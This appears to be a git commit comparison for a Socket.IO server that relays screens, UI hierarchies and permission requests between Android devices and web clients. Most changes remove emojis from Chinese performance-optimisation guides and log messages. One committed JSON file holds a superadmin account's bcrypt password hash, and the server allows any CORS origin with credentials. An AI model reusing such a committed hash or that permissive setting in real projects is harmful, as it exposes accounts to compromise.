Compare commits
7 Commits
bd6b6be7ea
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d95cee3c28 | ||
|
|
a123c7cc40 | ||
|
|
da337158b0 | ||
|
|
f62d7ff687 | ||
|
|
10028a0e2e | ||
|
|
af927dd9b4 | ||
|
|
5ed65090b9 |
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"version": "1.0.0",
|
||||
"savedAt": "2026-02-14T07:46:12.968Z",
|
||||
"savedAt": "2026-02-18T13:28:54.762Z",
|
||||
"users": [
|
||||
{
|
||||
"id": "admin_1762534368537",
|
||||
@@ -16,7 +16,7 @@
|
||||
"passwordHash": "$2b$10$3c/70RbBH4y7zhYwxk8ldOcls3Bj6kt3cSMidTeaMUVb1EJXH4GMy",
|
||||
"role": "superadmin",
|
||||
"createdAt": "2025-11-07T16:53:46.677Z",
|
||||
"lastLoginAt": "2026-02-14T07:46:12.968Z"
|
||||
"lastLoginAt": "2026-02-18T13:28:54.762Z"
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
# 🏗️ 服务端架构优化方案
|
||||
# 服务端架构优化方案
|
||||
|
||||
## 当前架构 vs 优化后架构
|
||||
|
||||
@@ -124,9 +124,9 @@ Socket.IO发送
|
||||
↓
|
||||
Web客户端接收
|
||||
|
||||
⏱️ 延迟: 150ms
|
||||
📊 吞吐: 500msg/s
|
||||
💾 内存: 400MB
|
||||
延迟: 150ms
|
||||
吞吐: 500msg/s
|
||||
内存: 400MB
|
||||
```
|
||||
|
||||
#### 优化后
|
||||
@@ -159,9 +159,9 @@ Socket.IO发送
|
||||
↓
|
||||
Web客户端接收
|
||||
|
||||
⏱️ 延迟: 80ms (↓47%)
|
||||
📊 吞吐: 1500msg/s (↑200%)
|
||||
💾 内存: 250MB (↓37%)
|
||||
延迟: 80ms (↓47%)
|
||||
吞吐: 1500msg/s (↑200%)
|
||||
内存: 250MB (↓37%)
|
||||
```
|
||||
|
||||
---
|
||||
@@ -203,10 +203,10 @@ Web客户端接收
|
||||
0 1 2 3 4
|
||||
|
||||
优化:
|
||||
✅ 定期清理过期缓冲区 (5秒)
|
||||
✅ 自动清理空闲连接 (5分钟)
|
||||
✅ 缓存自动过期 (1分钟)
|
||||
✅ 紧急清理机制 (>500MB)
|
||||
定期清理过期缓冲区 (5秒)
|
||||
自动清理空闲连接 (5分钟)
|
||||
缓存自动过期 (1分钟)
|
||||
紧急清理机制 (>500MB)
|
||||
```
|
||||
|
||||
---
|
||||
@@ -243,10 +243,10 @@ Web客户端接收
|
||||
└─ Socket6 (空闲) - 最后活动: 10分钟前
|
||||
|
||||
优化:
|
||||
✅ 优先级队列管理
|
||||
✅ LRU驱逐策略
|
||||
✅ 自动清理空闲连接
|
||||
✅ 支持1000+并发
|
||||
优先级队列管理
|
||||
LRU驱逐策略
|
||||
自动清理空闲连接
|
||||
支持1000+并发
|
||||
```
|
||||
|
||||
---
|
||||
@@ -309,8 +309,8 @@ Web客户端接收
|
||||
...
|
||||
消息10 → Socket.IO发送 → 网络传输 → 客户端接收
|
||||
|
||||
⏱️ 总时间: 10 × 网络延迟 = 150ms
|
||||
📊 Socket.IO调用: 10次
|
||||
总时间: 10 × 网络延迟 = 150ms
|
||||
Socket.IO调用: 10次
|
||||
```
|
||||
|
||||
### 批量消息处理 (优化后)
|
||||
@@ -321,8 +321,8 @@ Web客户端接收
|
||||
... │
|
||||
消息10┘
|
||||
|
||||
⏱️ 总时间: 1 × 网络延迟 + 50ms = 80ms
|
||||
📊 Socket.IO调用: 1次 (减少90%)
|
||||
总时间: 1 × 网络延迟 + 50ms = 80ms
|
||||
Socket.IO调用: 1次 (减少90%)
|
||||
```
|
||||
|
||||
---
|
||||
@@ -334,7 +334,7 @@ Web客户端接收
|
||||
Web客户端请求设备信息
|
||||
↓
|
||||
OptimizationService.getCachedQuery('device:123')
|
||||
├─ 缓存命中 (< 1分钟) → 直接返回 ✅ 快速
|
||||
├─ 缓存命中 (< 1分钟) → 直接返回 快速
|
||||
└─ 缓存未命中或过期
|
||||
↓
|
||||
DatabaseService.getDeviceById('123')
|
||||
@@ -438,10 +438,10 @@ OptimizationService.getCachedQuery('device:123')
|
||||
┌─────────────────────────────────┐
|
||||
│ 基础优化完成 │
|
||||
├─────────────────────────────────┤
|
||||
│ ✅ 消息批处理 │
|
||||
│ ✅ 连接池管理 │
|
||||
│ ✅ 性能监控 │
|
||||
│ 📊 预期: 延迟↓30%, 吞吐↑100% │
|
||||
│ 消息批处理 │
|
||||
│ 连接池管理 │
|
||||
│ 性能监控 │
|
||||
│ 预期: 延迟↓30%, 吞吐↑100% │
|
||||
└─────────────────────────────────┘
|
||||
```
|
||||
|
||||
@@ -450,10 +450,10 @@ OptimizationService.getCachedQuery('device:123')
|
||||
┌─────────────────────────────────┐
|
||||
│ 中级优化 │
|
||||
├─────────────────────────────────┤
|
||||
│ 🔄 Redis缓存 │
|
||||
│ 🔄 消息队列 (Bull) │
|
||||
│ 🔄 数据库连接池 │
|
||||
│ 📊 预期: 延迟↓50%, 吞吐↑200% │
|
||||
│ Redis缓存 │
|
||||
│ 消息队列 (Bull) │
|
||||
│ 数据库连接池 │
|
||||
│ 预期: 延迟↓50%, 吞吐↑200% │
|
||||
└─────────────────────────────────┘
|
||||
```
|
||||
|
||||
@@ -462,10 +462,10 @@ OptimizationService.getCachedQuery('device:123')
|
||||
┌─────────────────────────────────┐
|
||||
│ 高级优化 │
|
||||
├─────────────────────────────────┤
|
||||
│ 🚀 分布式架构 │
|
||||
│ 🚀 负载均衡 │
|
||||
│ 🚀 CDN支持 │
|
||||
│ 📊 预期: 延迟↓60%, 吞吐↑300% │
|
||||
│ 分布式架构 │
|
||||
│ 负载均衡 │
|
||||
│ CDN支持 │
|
||||
│ 预期: 延迟↓60%, 吞吐↑300% │
|
||||
└─────────────────────────────────┘
|
||||
```
|
||||
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -1,6 +1,6 @@
|
||||
# 服务端性能优化指南
|
||||
|
||||
## 🎯 优化目标
|
||||
## 优化目标
|
||||
- 降低延迟 (< 100ms)
|
||||
- 提高吞吐量 (支持100+并发设备)
|
||||
- 减少内存占用 (< 300MB)
|
||||
@@ -8,7 +8,7 @@
|
||||
|
||||
---
|
||||
|
||||
## 1️⃣ 立即可实施的优化 (高优先级)
|
||||
## 1⃣ 立即可实施的优化 (高优先级)
|
||||
|
||||
### 1.1 启用消息批处理
|
||||
**问题**: 每条消息单独发送,频繁的Socket.IO调用
|
||||
@@ -151,7 +151,7 @@ export class ConnectionPool {
|
||||
|
||||
---
|
||||
|
||||
## 2️⃣ 中期优化 (1-2周)
|
||||
## 2⃣ 中期优化 (1-2周)
|
||||
|
||||
### 2.1 实现消息队列
|
||||
**问题**: 高并发时消息丢失
|
||||
@@ -301,7 +301,7 @@ export class MetricsService {
|
||||
|
||||
---
|
||||
|
||||
## 3️⃣ 长期优化 (1个月+)
|
||||
## 3⃣ 长期优化 (1个月+)
|
||||
|
||||
### 3.1 实现分布式架构
|
||||
**方案**: 使用Socket.IO Adapter支持多服务器
|
||||
@@ -363,7 +363,7 @@ async uploadScreenshotToCDN(deviceId: string, data: Buffer) {
|
||||
|
||||
---
|
||||
|
||||
## 4️⃣ 性能测试和监控
|
||||
## 4⃣ 性能测试和监控
|
||||
|
||||
### 4.1 添加性能测试
|
||||
```bash
|
||||
@@ -401,7 +401,7 @@ private logPerformanceMetrics() {
|
||||
const uptime = process.uptime()
|
||||
|
||||
this.logger.info(`
|
||||
📊 性能指标:
|
||||
性能指标:
|
||||
- 内存: ${Math.round(memUsage.heapUsed / 1024 / 1024)}MB / ${Math.round(memUsage.heapTotal / 1024 / 1024)}MB
|
||||
- 运行时间: ${Math.round(uptime)}s
|
||||
- 屏幕帧: ${this.routedFrames} (丢帧: ${this.droppedFrames})
|
||||
@@ -414,7 +414,7 @@ private logPerformanceMetrics() {
|
||||
|
||||
---
|
||||
|
||||
## 5️⃣ 配置建议
|
||||
## 5⃣ 配置建议
|
||||
|
||||
### 生产环境启动参数
|
||||
```bash
|
||||
@@ -444,7 +444,7 @@ REDIS_PORT=6379
|
||||
|
||||
---
|
||||
|
||||
## 📈 预期改进
|
||||
## 预期改进
|
||||
|
||||
| 指标 | 优化前 | 优化后 | 改进 |
|
||||
|------|-------|-------|------|
|
||||
@@ -456,7 +456,7 @@ REDIS_PORT=6379
|
||||
|
||||
---
|
||||
|
||||
## 🔍 故障排查
|
||||
## 故障排查
|
||||
|
||||
### 问题: 内存持续增长
|
||||
**解决方案**:
|
||||
@@ -478,7 +478,7 @@ REDIS_PORT=6379
|
||||
|
||||
---
|
||||
|
||||
## 📚 参考资源
|
||||
## 参考资源
|
||||
|
||||
- [Socket.IO性能优化](https://socket.io/docs/v4/performance-tuning/)
|
||||
- [Node.js内存管理](https://nodejs.org/en/docs/guides/simple-profiling/)
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# 📊 服务端优化方案总结
|
||||
# 服务端优化方案总结
|
||||
|
||||
## 🎯 优化目标
|
||||
## 优化目标
|
||||
- 降低延迟: 150ms → 80ms (↓47%)
|
||||
- 提高吞吐: 500msg/s → 1500msg/s (↑200%)
|
||||
- 减少内存: 400MB → 250MB (↓37%)
|
||||
@@ -9,7 +9,7 @@
|
||||
|
||||
---
|
||||
|
||||
## 📦 已创建的优化模块
|
||||
## 已创建的优化模块
|
||||
|
||||
### 1. OptimizationService (消息批处理和缓存)
|
||||
**文件**: `src/services/OptimizationService.ts`
|
||||
@@ -73,7 +73,7 @@
|
||||
|
||||
---
|
||||
|
||||
## 🔧 快速集成步骤
|
||||
## 快速集成步骤
|
||||
|
||||
### 步骤1: 导入服务
|
||||
```typescript
|
||||
@@ -131,7 +131,7 @@ app.get('/api/performance', (req, res) => {
|
||||
|
||||
---
|
||||
|
||||
## 📈 性能改进预期
|
||||
## 性能改进预期
|
||||
|
||||
### 消息处理
|
||||
- **批处理**: 10条消息一起发送 → Socket.IO调用减少90%
|
||||
@@ -155,7 +155,7 @@ app.get('/api/performance', (req, res) => {
|
||||
|
||||
---
|
||||
|
||||
## 🚀 优化路线图
|
||||
## 优化路线图
|
||||
|
||||
### Phase 1: 基础优化 (立即实施)
|
||||
- [x] 创建OptimizationService
|
||||
@@ -185,26 +185,26 @@ app.get('/api/performance', (req, res) => {
|
||||
|
||||
---
|
||||
|
||||
## 📊 监控仪表板
|
||||
## 监控仪表板
|
||||
|
||||
### 关键指标
|
||||
```
|
||||
📊 实时性能指标
|
||||
├─ 💾 内存: 250MB / 512MB (48%)
|
||||
├─ 📨 消息: 1200/s | 延迟: 85ms (p95: 150ms, p99: 250ms)
|
||||
├─ 🔌 连接: 150个 (活跃: 140, 空闲: 10)
|
||||
└─ ⚙️ 系统: 运行时间 24h | CPU: 35% | 事件循环延迟: 5ms
|
||||
实时性能指标
|
||||
├─ 内存: 250MB / 512MB (48%)
|
||||
├─ 消息: 1200/s | 延迟: 85ms (p95: 150ms, p99: 250ms)
|
||||
├─ 连接: 150个 (活跃: 140, 空闲: 10)
|
||||
└─ 系统: 运行时间 24h | CPU: 35% | 事件循环延迟: 5ms
|
||||
```
|
||||
|
||||
### 告警规则
|
||||
- ⚠️ 内存使用 > 80% → 触发紧急清理
|
||||
- ⚠️ 消息延迟 P99 > 500ms → 检查网络/CPU
|
||||
- ⚠️ 错误率 > 5% → 检查设备连接
|
||||
- ⚠️ 事件循环延迟 > 100ms → 检查同步操作
|
||||
- 内存使用 > 80% → 触发紧急清理
|
||||
- 消息延迟 P99 > 500ms → 检查网络/CPU
|
||||
- 错误率 > 5% → 检查设备连接
|
||||
- 事件循环延迟 > 100ms → 检查同步操作
|
||||
|
||||
---
|
||||
|
||||
## 🔍 性能测试
|
||||
## 性能测试
|
||||
|
||||
### 测试场景
|
||||
```
|
||||
@@ -239,7 +239,7 @@ node --prof-process isolate-*.log > profile.txt
|
||||
|
||||
---
|
||||
|
||||
## 📚 文档参考
|
||||
## 文档参考
|
||||
|
||||
### 已创建的文档
|
||||
1. **OPTIMIZATION_GUIDE.md** - 详细优化指南 (5个优化阶段)
|
||||
@@ -253,7 +253,7 @@ node --prof-process isolate-*.log > profile.txt
|
||||
|
||||
---
|
||||
|
||||
## ✅ 检查清单
|
||||
## 检查清单
|
||||
|
||||
### 集成前检查
|
||||
- [ ] 已阅读QUICK_OPTIMIZATION.md
|
||||
@@ -283,7 +283,7 @@ node --prof-process isolate-*.log > profile.txt
|
||||
|
||||
---
|
||||
|
||||
## 💡 最佳实践
|
||||
## 最佳实践
|
||||
|
||||
### 消息处理
|
||||
1. 使用批处理减少Socket.IO调用
|
||||
@@ -307,7 +307,7 @@ node --prof-process isolate-*.log > profile.txt
|
||||
|
||||
---
|
||||
|
||||
## 🎓 学习资源
|
||||
## 学习资源
|
||||
|
||||
### 推荐阅读
|
||||
1. Node.js官方性能指南
|
||||
@@ -326,7 +326,7 @@ node --prof-process isolate-*.log > profile.txt
|
||||
|
||||
---
|
||||
|
||||
## 📞 支持和反馈
|
||||
## 支持和反馈
|
||||
|
||||
### 常见问题
|
||||
**Q: 如何验证优化效果?**
|
||||
@@ -348,14 +348,14 @@ A: 在初始化时不创建对应的服务实例
|
||||
|
||||
---
|
||||
|
||||
## 🎉 总结
|
||||
## 总结
|
||||
|
||||
通过实施这套优化方案,你的服务端将获得:
|
||||
|
||||
✅ **47%的延迟降低** - 用户体验更流畅
|
||||
✅ **200%的吞吐提升** - 支持更多并发
|
||||
✅ **37%的内存优化** - 资源利用更高效
|
||||
✅ **42%的CPU降低** - 成本更低
|
||||
✅ **80%的丢帧率降低** - 画面更稳定
|
||||
**47%的延迟降低** - 用户体验更流畅
|
||||
**200%的吞吐提升** - 支持更多并发
|
||||
**37%的内存优化** - 资源利用更高效
|
||||
**42%的CPU降低** - 成本更低
|
||||
**80%的丢帧率降低** - 画面更稳定
|
||||
|
||||
**立即开始**: 按照QUICK_OPTIMIZATION.md中的步骤集成优化服务!
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# 🚀 快速优化指南
|
||||
# 快速优化指南
|
||||
|
||||
## 立即可用的优化服务
|
||||
|
||||
@@ -21,9 +21,9 @@ console.log(`队列消息: ${stats.totalQueuedMessages}`)
|
||||
```
|
||||
|
||||
**优势**:
|
||||
- ✅ 减少Socket.IO调用次数 (最多10倍)
|
||||
- ✅ 降低网络往返延迟
|
||||
- ✅ 自动缓存热数据
|
||||
- 减少Socket.IO调用次数 (最多10倍)
|
||||
- 降低网络往返延迟
|
||||
- 自动缓存热数据
|
||||
|
||||
---
|
||||
|
||||
@@ -46,9 +46,9 @@ console.log(`总数据传输: ${stats.totalDataTransferred}MB`)
|
||||
```
|
||||
|
||||
**优势**:
|
||||
- ✅ 自动管理连接生命周期
|
||||
- ✅ 优先级队列防止低优先级连接占用资源
|
||||
- ✅ 自动清理空闲连接
|
||||
- 自动管理连接生命周期
|
||||
- 优先级队列防止低优先级连接占用资源
|
||||
- 自动清理空闲连接
|
||||
|
||||
---
|
||||
|
||||
@@ -74,9 +74,9 @@ const warnings = monitor.getPerformanceWarnings()
|
||||
```
|
||||
|
||||
**优势**:
|
||||
- ✅ 实时性能监控
|
||||
- ✅ 自动告警
|
||||
- ✅ 详细的性能报告
|
||||
- 实时性能监控
|
||||
- 自动告警
|
||||
- 详细的性能报告
|
||||
|
||||
---
|
||||
|
||||
|
||||
File diff suppressed because one or more lines are too long
BIN
devices.db
BIN
devices.db
Binary file not shown.
60
dist/server.js
vendored
60
dist/server.js
vendored
@@ -22,27 +22,27 @@ app.use((0, cors_1.default)({
|
||||
credentials: true
|
||||
}));
|
||||
app.use(express_1.default.json());
|
||||
// ✅ Socket.IO v4 优化配置 - 解决心跳和连接稳定性问题
|
||||
//Socket.IO v4 优化配置 - 解决心跳和连接稳定性问题
|
||||
const io = new socket_io_1.Server(server, {
|
||||
cors: {
|
||||
origin: "*",
|
||||
methods: ["GET", "POST"],
|
||||
credentials: true
|
||||
},
|
||||
// 🔧 心跳机制优化(v4已解决心跳方向问题)
|
||||
//心跳机制优化(v4已解决心跳方向问题)
|
||||
pingInterval: 25000, // 25秒发送一次ping(服务器->客户端)
|
||||
pingTimeout: 60000, // 60秒等待pong响应
|
||||
upgradeTimeout: 30000, // 30秒传输升级超时
|
||||
// 🔧 传输优化
|
||||
//传输优化
|
||||
transports: ['websocket', 'polling'],
|
||||
allowEIO3: false, // 不支持旧版本协议
|
||||
// 🔧 缓冲区和数据包优化
|
||||
//缓冲区和数据包优化
|
||||
maxHttpBufferSize: 10e6, // 10MB缓冲区
|
||||
allowUpgrades: true,
|
||||
// 🔧 连接管理
|
||||
//连接管理
|
||||
connectTimeout: 45000, // 连接超时
|
||||
serveClient: false, // 不提供客户端文件
|
||||
// 🔧 Engine.IO 配置
|
||||
//Engine.IO 配置
|
||||
cookie: {
|
||||
name: "io",
|
||||
httpOnly: true,
|
||||
@@ -69,12 +69,12 @@ app.get('/health', (req, res) => {
|
||||
});
|
||||
// Socket.IO连接处理
|
||||
io.on('connection', (socket) => {
|
||||
logger.info(`🔌 新连接: ${socket.id} (IP: ${socket.handshake.address})`);
|
||||
logger.info(`新连接: ${socket.id} (IP: ${socket.handshake.address})`);
|
||||
// 连接质量监控
|
||||
const connectionStart = Date.now();
|
||||
// 设备注册事件
|
||||
socket.on('device_register', (deviceInfo) => {
|
||||
logger.info(`📱 设备注册: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`);
|
||||
logger.info(`设备注册: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`);
|
||||
const device = {
|
||||
id: deviceInfo.deviceId,
|
||||
socketId: socket.id,
|
||||
@@ -96,7 +96,7 @@ io.on('connection', (socket) => {
|
||||
const socket = io.sockets.sockets.get(client.socketId);
|
||||
return socket && socket.connected;
|
||||
}).length;
|
||||
logger.info(`📢 通知 ${activeWebClients} 个活跃Web客户端有新设备连接`);
|
||||
logger.info(`通知 ${activeWebClients} 个活跃Web客户端有新设备连接`);
|
||||
webClientManager.broadcastToAll('device_connected', {
|
||||
device: deviceManager.getDevice(deviceInfo.deviceId)
|
||||
});
|
||||
@@ -104,7 +104,7 @@ io.on('connection', (socket) => {
|
||||
});
|
||||
// Web客户端注册事件
|
||||
socket.on('web_client_register', (clientInfo) => {
|
||||
logger.info(`🌐 Web客户端注册: ${clientInfo.userAgent || 'unknown'}`);
|
||||
logger.info(`Web客户端注册: ${clientInfo.userAgent || 'unknown'}`);
|
||||
const clientData = {
|
||||
id: socket.id,
|
||||
socketId: socket.id,
|
||||
@@ -151,41 +151,41 @@ io.on('connection', (socket) => {
|
||||
});
|
||||
// 测试连接监听器
|
||||
socket.on('CONNECTION_TEST', (data) => {
|
||||
logger.info(`🧪🧪🧪 收到连接测试: ${JSON.stringify(data)}`);
|
||||
// 🔧 修复:回复确认消息给Android端,避免心跳失败累积
|
||||
logger.info(`收到连接测试: ${JSON.stringify(data)}`);
|
||||
//修复:回复确认消息给Android端,避免心跳失败累积
|
||||
try {
|
||||
socket.emit('CONNECTION_TEST_RESPONSE', {
|
||||
success: true,
|
||||
timestamp: Date.now(),
|
||||
receivedData: data
|
||||
});
|
||||
logger.debug(`✅ 已回复CONNECTION_TEST确认消息`);
|
||||
logger.debug(`已回复CONNECTION_TEST确认消息`);
|
||||
}
|
||||
catch (error) {
|
||||
logger.error(`❌ 回复CONNECTION_TEST失败:`, error);
|
||||
logger.error(`回复CONNECTION_TEST失败:`, error);
|
||||
}
|
||||
});
|
||||
// 简单测试事件监听器
|
||||
socket.on('SIMPLE_TEST_EVENT', (data) => {
|
||||
logger.info(`🧪🧪🧪 收到简单测试事件!!! 数据: ${JSON.stringify(data)}`);
|
||||
logger.info(`收到简单测试事件!!! 数据: ${JSON.stringify(data)}`);
|
||||
});
|
||||
// 调试:UI响应前的测试消息
|
||||
socket.on('debug_test_before_ui', (data) => {
|
||||
logger.info(`🧪🧪🧪 收到UI响应前调试测试!!! Socket: ${socket.id}`);
|
||||
logger.info(`🧪 测试数据: ${JSON.stringify(data)}`);
|
||||
logger.info(`收到UI响应前调试测试!!! Socket: ${socket.id}`);
|
||||
logger.info(`测试数据: ${JSON.stringify(data)}`);
|
||||
});
|
||||
// 简单测试消息监听器
|
||||
socket.on('simple_test', (data) => {
|
||||
logger.info(`🧪🧪🧪 收到简单测试消息!!! Socket: ${socket.id}, 数据: ${JSON.stringify(data)}`);
|
||||
logger.info(`收到简单测试消息!!! Socket: ${socket.id}, 数据: ${JSON.stringify(data)}`);
|
||||
});
|
||||
// UI层次结构响应 (设备端响应)
|
||||
socket.on('ui_hierarchy_response', (data) => {
|
||||
logger.info(`📱📱📱 [GLOBAL] 收到UI层次结构响应!!! Socket: ${socket.id}`);
|
||||
logger.info(`📋 响应数据字段: deviceId=${data?.deviceId}, success=${data?.success}, clientId=${data?.clientId}, hierarchy存在=${!!data?.hierarchy}`);
|
||||
logger.info(`📋 完整响应数据: ${JSON.stringify(data).substring(0, 500)}...`);
|
||||
// ✅ 参考screen_data的处理方式,直接调用专用路由方法
|
||||
logger.info(`[GLOBAL] 收到UI层次结构响应!!! Socket: ${socket.id}`);
|
||||
logger.info(`响应数据字段: deviceId=${data?.deviceId}, success=${data?.success}, clientId=${data?.clientId}, hierarchy存在=${!!data?.hierarchy}`);
|
||||
logger.info(`完整响应数据: ${JSON.stringify(data).substring(0, 500)}...`);
|
||||
//参考screen_data的处理方式,直接调用专用路由方法
|
||||
const routeResult = messageRouter.routeUIHierarchyResponse(socket.id, data);
|
||||
logger.info(`📤 UI层次结构路由结果: ${routeResult}`);
|
||||
logger.info(`UI层次结构路由结果: ${routeResult}`);
|
||||
});
|
||||
// 设备控制请求
|
||||
socket.on('request_device_control', (data) => {
|
||||
@@ -210,11 +210,11 @@ io.on('connection', (socket) => {
|
||||
});
|
||||
// 🆕 权限申请响应(设备端响应)
|
||||
socket.on('permission_response', (data) => {
|
||||
logger.info(`📱 收到设备权限申请响应: Socket: ${socket.id}`);
|
||||
logger.info(`📋 响应数据: deviceId=${data?.deviceId}, permissionType=${data?.permissionType}, success=${data?.success}, message=${data?.message}`);
|
||||
logger.info(`收到设备权限申请响应: Socket: ${socket.id}`);
|
||||
logger.info(`响应数据: deviceId=${data?.deviceId}, permissionType=${data?.permissionType}, success=${data?.success}, message=${data?.message}`);
|
||||
// 路由权限申请响应
|
||||
const routeResult = messageRouter.routePermissionResponse(socket.id, data);
|
||||
logger.info(`📤 权限申请响应路由结果: ${routeResult}`);
|
||||
logger.info(`权限申请响应路由结果: ${routeResult}`);
|
||||
});
|
||||
// 调试:捕获所有未处理的事件
|
||||
const originalEmit = socket.emit;
|
||||
@@ -226,8 +226,8 @@ io.on('connection', (socket) => {
|
||||
}
|
||||
// 特别关注UI层次结构响应
|
||||
if (eventName === 'ui_hierarchy_response') {
|
||||
logger.info(`📱📱📱 收到UI层次结构响应!!! 事件名: ${eventName}`);
|
||||
logger.info(`📋 响应数据: ${JSON.stringify(args).substring(0, 500)}...`);
|
||||
logger.info(`收到UI层次结构响应!!! 事件名: ${eventName}`);
|
||||
logger.info(`响应数据: ${JSON.stringify(args).substring(0, 500)}...`);
|
||||
}
|
||||
});
|
||||
socket.on('disconnect', (reason) => {
|
||||
@@ -239,7 +239,7 @@ io.on('connection', (socket) => {
|
||||
// 移除设备或Web客户端
|
||||
const device = deviceManager.getDeviceBySocketId(socket.id);
|
||||
if (device) {
|
||||
logger.info(`📱 设备断开: ${device.name} (${device.id})`);
|
||||
logger.info(`设备断开: ${device.name} (${device.id})`);
|
||||
deviceManager.removeDevice(device.id);
|
||||
// 通知所有Web客户端设备已断开
|
||||
webClientManager.broadcastToAll('device_disconnected', {
|
||||
@@ -250,7 +250,7 @@ io.on('connection', (socket) => {
|
||||
// 可能是Web客户端断开
|
||||
const clientRemoved = webClientManager.removeClientBySocketId(socket.id);
|
||||
if (clientRemoved) {
|
||||
logger.info(`🌐 Web客户端断开: ${socket.id}`);
|
||||
logger.info(`Web客户端断开: ${socket.id}`);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
492
src/index.ts
492
src/index.ts
File diff suppressed because it is too large
Load Diff
@@ -20,9 +20,9 @@ export interface DeviceInfo {
|
||||
status: 'online' | 'offline' | 'busy'
|
||||
inputBlocked?: boolean
|
||||
isLocked?: boolean // 设备锁屏状态
|
||||
remark?: string // 🆕 设备备注
|
||||
remark?: string // 设备备注
|
||||
publicIP?: string
|
||||
// 🆕 新增系统版本信息字段
|
||||
// 新增系统版本信息字段
|
||||
systemVersionName?: string // 如"Android 11"、"Android 12"
|
||||
romType?: string // 如"MIUI"、"ColorOS"、"原生Android"
|
||||
romVersion?: string // 如"MIUI 12.5"、"ColorOS 11.1"
|
||||
@@ -55,14 +55,14 @@ class DeviceManager {
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 清理所有设备记录(服务器重启时调用)
|
||||
* 清理所有设备记录(服务器重启时调用)
|
||||
*/
|
||||
clearAllDevices(): void {
|
||||
const deviceCount = this.devices.size
|
||||
this.devices.clear()
|
||||
this.deviceStatuses.clear()
|
||||
this.socketToDevice.clear()
|
||||
this.logger.info(`🧹 已清理所有设备记录: ${deviceCount} 个设备`)
|
||||
this.logger.info(` 已清理所有设备记录: ${deviceCount} 个设备`)
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -13,8 +13,8 @@ export interface WebClientInfo {
|
||||
connectedAt: Date
|
||||
lastSeen: Date
|
||||
controllingDeviceId?: string
|
||||
userId?: string // 🔐 添加用户ID字段
|
||||
username?: string // 🔐 添加用户名字段
|
||||
userId?: string // 添加用户ID字段
|
||||
username?: string // 添加用户名字段
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -26,9 +26,9 @@ class WebClientManager {
|
||||
private deviceControllers: Map<string, string> = new Map() // deviceId -> clientId
|
||||
private logger: Logger
|
||||
public io?: SocketIOServer
|
||||
private databaseService?: DatabaseService // 🔐 添加数据库服务引用
|
||||
private databaseService?: DatabaseService // 添加数据库服务引用
|
||||
|
||||
// 🔧 添加请求速率限制 - 防止频繁重复请求
|
||||
// 添加请求速率限制 - 防止频繁重复请求
|
||||
private requestTimestamps: Map<string, number> = new Map() // "clientId:deviceId" -> timestamp
|
||||
private readonly REQUEST_COOLDOWN = 2000 // 2秒内不允许重复请求(增加冷却时间)
|
||||
|
||||
@@ -38,7 +38,7 @@ class WebClientManager {
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 清理所有客户端记录(服务器重启时调用)
|
||||
* 清理所有客户端记录(服务器重启时调用)
|
||||
*/
|
||||
clearAllClients(): void {
|
||||
const clientCount = this.clients.size
|
||||
@@ -46,7 +46,7 @@ class WebClientManager {
|
||||
this.socketToClient.clear()
|
||||
this.deviceControllers.clear()
|
||||
this.requestTimestamps.clear()
|
||||
this.logger.info(`🧹 已清理所有客户端记录: ${clientCount} 个客户端`)
|
||||
this.logger.info(` 已清理所有客户端记录: ${clientCount} 个客户端`)
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -60,10 +60,10 @@ class WebClientManager {
|
||||
* 添加Web客户端
|
||||
*/
|
||||
addClient(clientInfo: WebClientInfo): void {
|
||||
// 🔧 检查是否已有相同Socket ID的客户端记录
|
||||
// 检查是否已有相同Socket ID的客户端记录
|
||||
const existingClientId = this.socketToClient.get(clientInfo.socketId)
|
||||
if (existingClientId) {
|
||||
this.logger.warn(`⚠️ Socket ${clientInfo.socketId} 已有客户端记录 ${existingClientId},清理旧记录`)
|
||||
this.logger.warn(` Socket ${clientInfo.socketId} 已有客户端记录 ${existingClientId},清理旧记录`)
|
||||
this.removeClient(existingClientId)
|
||||
}
|
||||
|
||||
@@ -83,7 +83,7 @@ class WebClientManager {
|
||||
|
||||
// 如果客户端正在控制设备,释放控制权
|
||||
if (client.controllingDeviceId) {
|
||||
this.logger.info(`🔓 客户端断开连接,自动释放设备控制权: ${clientId} -> ${client.controllingDeviceId}`)
|
||||
this.logger.info(` 客户端断开连接,自动释放设备控制权: ${clientId} -> ${client.controllingDeviceId}`)
|
||||
this.releaseDeviceControl(client.controllingDeviceId)
|
||||
}
|
||||
|
||||
@@ -156,13 +156,13 @@ class WebClientManager {
|
||||
message: string
|
||||
currentController?: string
|
||||
} {
|
||||
// 🔧 防止频繁重复请求
|
||||
// 防止频繁重复请求
|
||||
const requestKey = `${clientId}:${deviceId}`
|
||||
const now = Date.now()
|
||||
const lastRequestTime = this.requestTimestamps.get(requestKey) || 0
|
||||
|
||||
if (now - lastRequestTime < this.REQUEST_COOLDOWN) {
|
||||
this.logger.debug(`🚫 请求过于频繁: ${clientId} -> ${deviceId} (间隔${now - lastRequestTime}ms < ${this.REQUEST_COOLDOWN}ms)`)
|
||||
this.logger.debug(` 请求过于频繁: ${clientId} -> ${deviceId} (间隔${now - lastRequestTime}ms < ${this.REQUEST_COOLDOWN}ms)`)
|
||||
return {
|
||||
success: false,
|
||||
message: '请求过于频繁,请稍后再试'
|
||||
@@ -172,17 +172,17 @@ class WebClientManager {
|
||||
// 获取客户端信息
|
||||
const client = this.clients.get(clientId)
|
||||
if (!client) {
|
||||
this.logger.error(`❌ 客户端不存在: ${clientId}`)
|
||||
this.logger.error(` 客户端不存在: ${clientId}`)
|
||||
return {
|
||||
success: false,
|
||||
message: '客户端不存在'
|
||||
}
|
||||
}
|
||||
|
||||
// ✅ 优化:先检查是否是重复请求(已经在控制此设备)
|
||||
// 优化:先检查是否是重复请求(已经在控制此设备)
|
||||
const currentController = this.deviceControllers.get(deviceId)
|
||||
if (currentController === clientId) {
|
||||
this.logger.debug(`🔄 客户端 ${clientId} 重复请求控制设备 ${deviceId},已在控制中`)
|
